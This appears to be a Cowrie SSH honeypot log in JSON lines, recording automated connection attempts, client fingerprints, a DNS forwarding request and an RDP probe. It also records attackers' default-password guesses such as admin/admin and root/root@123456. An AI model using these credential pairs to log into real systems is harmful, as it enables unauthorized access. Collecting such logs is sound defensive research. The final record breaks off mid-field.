{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7540,"dst_ip":"10.17.0.5","dst_port":22,"session":"48b8f9dfd137","protocol":"ssh","message":"New connection: 87.251.64.176:7540 (10.17.0.5:22) [session: 48b8f9dfd137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:27.560533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:27.565586Z","src_ip":"87.251.64.176","session":"48b8f9dfd137","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:27.688922Z","src_ip":"87.251.64.176","session":"48b8f9dfd137","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:28.194758Z","src_ip":"87.251.64.176","session":"48b8f9dfd137","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:28.294138Z","session":"48b8f9dfd137","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:28.412805Z","src_ip":"87.251.64.176","session":"48b8f9dfd137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:28.512119Z","src_ip":"87.251.64.176","session":"48b8f9dfd137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":47518,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6bcd0606710","protocol":"ssh","message":"New connection: 147.45.199.80:47518 (159.203.135.109:22) [session: b6bcd0606710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:33.397716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:33.402436Z","src_ip":"147.45.199.80","session":"b6bcd0606710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:33.497889Z","src_ip":"147.45.199.80","session":"b6bcd0606710","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlad2003","message":"login attempt [root/vlad2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:33.784076Z","src_ip":"147.45.199.80","session":"b6bcd0606710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:34.884129Z","src_ip":"147.45.199.80","session":"b6bcd0606710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.105.139.70","src_port":13274,"dst_ip":"10.17.0.5","dst_port":22,"session":"57591201e74b","protocol":"ssh","message":"New connection: 184.105.139.70:13274 (10.17.0.5:22) [session: 57591201e74b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:43.371584Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:43.392440Z","src_ip":"184.105.139.70","session":"57591201e74b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:43.398300Z","src_ip":"184.105.139.70","session":"57591201e74b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":53136,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c255d537f4b","protocol":"ssh","message":"New connection: 43.135.164.198:53136 (159.203.135.109:22) [session: 2c255d537f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:44.871319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:44.877218Z","src_ip":"43.135.164.198","session":"2c255d537f4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:44.950489Z","src_ip":"43.135.164.198","session":"2c255d537f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123456","message":"login attempt [root/root@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:45.257015Z","src_ip":"43.135.164.198","session":"2c255d537f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:55:46.328556Z","src_ip":"43.135.164.198","session":"2c255d537f4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":56272,"dst_ip":"10.17.0.5","dst_port":22,"session":"57bc29906598","protocol":"ssh","message":"New connection: 147.45.197.250:56272 (10.17.0.5:22) [session: 57bc29906598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:03.655528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:03.660297Z","src_ip":"147.45.197.250","session":"57bc29906598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:03.749947Z","src_ip":"147.45.197.250","session":"57bc29906598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"regina","message":"login attempt [root/regina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:04.019677Z","src_ip":"147.45.197.250","session":"57bc29906598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:05.111920Z","src_ip":"147.45.197.250","session":"57bc29906598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":41286,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fb05de6af30","protocol":"ssh","message":"New connection: 43.135.168.126:41286 (159.203.135.109:22) [session: 6fb05de6af30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:13.102231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:13.107728Z","src_ip":"43.135.168.126","session":"6fb05de6af30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:13.177336Z","src_ip":"43.135.168.126","session":"6fb05de6af30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2019","message":"login attempt [root/2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:13.486765Z","src_ip":"43.135.168.126","session":"6fb05de6af30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:14.559793Z","src_ip":"43.135.168.126","session":"6fb05de6af30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53413,"dst_ip":"10.17.0.5","dst_port":22,"session":"178e329fff92","protocol":"ssh","message":"New connection: 152.42.212.128:53413 (10.17.0.5:22) [session: 178e329fff92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:32.134802Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:32.138918Z","src_ip":"152.42.212.128","session":"178e329fff92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:32.142281Z","src_ip":"152.42.212.128","session":"178e329fff92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":59180,"dst_ip":"159.203.135.109","dst_port":22,"session":"82b151bee020","protocol":"ssh","message":"New connection: 43.163.81.22:59180 (159.203.135.109:22) [session: 82b151bee020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:32.553010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:32.557636Z","src_ip":"43.163.81.22","session":"82b151bee020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:32.802534Z","src_ip":"43.163.81.22","session":"82b151bee020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"india123","message":"login attempt [root/india123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:33.814591Z","src_ip":"43.163.81.22","session":"82b151bee020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:35.063322Z","src_ip":"43.163.81.22","session":"82b151bee020","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":38548,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a8c54fea09d","protocol":"ssh","message":"New connection: 171.244.37.97:38548 (159.203.135.109:22) [session: 9a8c54fea09d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:35.442262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:35.446583Z","src_ip":"171.244.37.97","session":"9a8c54fea09d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:35.697798Z","src_ip":"171.244.37.97","session":"9a8c54fea09d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":53143,"dst_ip":"10.17.0.5","dst_port":22,"session":"dece3fae23d2","protocol":"ssh","message":"New connection: 190.119.63.98:53143 (10.17.0.5:22) [session: dece3fae23d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:35.948182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:56:35.953638Z","src_ip":"190.119.63.98","session":"dece3fae23d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 